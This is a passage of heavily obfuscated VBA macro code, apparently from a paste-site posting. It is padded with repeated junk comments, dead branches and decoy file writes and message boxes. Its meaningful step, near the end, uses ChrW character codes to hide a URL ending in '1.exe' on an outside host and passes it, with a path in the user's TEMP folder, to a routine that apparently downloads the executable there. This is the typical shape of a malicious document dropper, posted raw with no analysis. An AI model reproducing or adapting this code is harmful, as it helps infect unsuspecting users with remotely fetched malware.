  955. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  956. Open "HRWFND.OJJ" For Binary As 56
  957. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  958. Put #56, , fkbkPLFp
  959. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  960. Close #56
  961. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  962. IxJXxcCl:
  963. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  964.  
  965. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  966.    Set BEOCPNNRSPU = Nothing
  967. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  968.  
  969. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  970. If 528926 = 528926 + 1 Then End
  971. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  972. If 5187 < 16 Then
  973. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  974.  
  975. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  976. GoTo raPbkNUj
  977. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  978. Dim XknqouXM As String
  979. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  980. Open "AMJEVA.AJK" For Binary As 83
  981. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  982. Put #83, , XknqouXM
  983. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  984. Close #83
  985. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  986. raPbkNUj:
  987. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  988.  
  989. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  990.        MsgBox ("LpoKUGBW68")
  991. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  992. End If
  993. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  994. If Len("JTGUCJnx6847") = Len("lokWyhNe") Then
  995. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  996.  
  997. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  998. GoTo JcgiooiG
  999. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1000. Dim xlXZwEBU As String
  1001. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1002. Open "FMZSTS.CSN" For Binary As 43
  1003. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1004. Put #43, , xlXZwEBU
  1005. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1006. Close #43
  1007. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1008. JcgiooiG:
  1009. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1010.  
  1011. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1012.       MsgBox ("Error !!!")
  1013. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1014. End If
  1015. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1016.  
  1017. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1018. GoTo DJZyeqze
  1019. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1020. Dim lDpnhTMM As String
  1021. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1022. Open ChrW(83) & ChrW(82) & ChrW(79) & ChrW(81) & ChrW(65) & ChrW(68) & ChrW(46) & ChrW(87) & ChrW(88) & ChrW(85) For Binary As 36
  1023. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1024. Put #36, , lDpnhTMM
  1025. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1026. Close #36
  1027. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1028. DJZyeqze:
  1029. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1030.  
  1031. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1032.    
  1033. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1034.  
  1035. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1036. End Function
  1037. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1038. Sub SEDOZBUDOXP()
  1039. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1040. If 143439 = 143439 + 1 Then End
  1041. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1042. If 4488 < 37 Then
  1043. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1044.  
  1045. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1046. GoTo HnezLNVx
  1047. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1048. Dim wwPxymGg As String
  1049. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1050. Open ChrW(77) & ChrW(89) & ChrW(65) & ChrW(74) & ChrW(81) & ChrW(65) & ChrW(46) & ChrW(82) & ChrW(86) & ChrW(66) For Binary As 67
  1051. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1052. Put #67, , wwPxymGg
  1053. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1054. Close #67
  1055. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1056. HnezLNVx:
  1057. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1058.  
  1059. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1060.        MsgBox (ChrW(101) & ChrW(82) & ChrW(73) & ChrW(76) & ChrW(90) & ChrW(69) & ChrW(69) & ChrW(67) & ChrW(53) & ChrW(55))
  1061. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1062. End If
  1063. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1064. If Len(ChrW(80) & ChrW(77) & ChrW(83) & ChrW(75) & ChrW(81) & ChrW(88) & ChrW(118) & ChrW(104) & ChrW(53) & ChrW(50) & ChrW(51) & ChrW(57)) = Len(ChrW(82) & ChrW(100) & ChrW(113) & ChrW(99) & ChrW(84) & ChrW(122) & ChrW(83) & ChrW(90)) Then
  1065. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1066.  
  1067. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1068. GoTo RMSlUhaf
  1069. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1070. Dim cqErvxhJ As String
  1071. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1072. Open ChrW(70) & ChrW(72) & ChrW(76) & ChrW(78) & ChrW(89) & ChrW(79) & ChrW(46) & ChrW(85) & ChrW(69) & ChrW(71) For Binary As 42
  1073. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1074. Put #42, , cqErvxhJ
  1075. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1076. Close #42
  1077. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1078. RMSlUhaf:
  1079. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1080.  
  1081. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1082.       MsgBox (ChrW(69) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  1083. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1084. End If
  1085. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1086.  
  1087. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1088. GoTo GOoUtrlf
  1089. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1090. Dim INNlXqUJ As String
  1091. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1092. Open ChrW(77) & ChrW(81) & ChrW(82) & ChrW(85) & ChrW(74) & ChrW(69) & ChrW(46) & ChrW(77) & ChrW(73) & ChrW(82) For Binary As 69
  1093. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1094. Put #69, , INNlXqUJ
  1095. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1096. Close #69
  1097. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1098. GOoUtrlf:
  1099. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1100.  
  1101. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1102.    APLJNHMVHUY ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(99) & ChrW(116) & ChrW(109) & ChrW(97) & ChrW(105) & ChrW(108) & ChrW(46) & ChrW(109) & ChrW(101) & ChrW(47) & ChrW(49) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101), Environ(ChrW(84) & ChrW(69) & ChrW(77) & ChrW(80)) & ChrW(92) & ChrW(71) & ChrW(71) & ChrW(82) & ChrW(66) & ChrW(68) & ChrW(69) & ChrW(76) & ChrW(67) & ChrW(83) & ChrW(74) & ChrW(85) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
  1103. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1104.  
  1105. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1106. End Sub
  1107. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1108.  
  1109. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement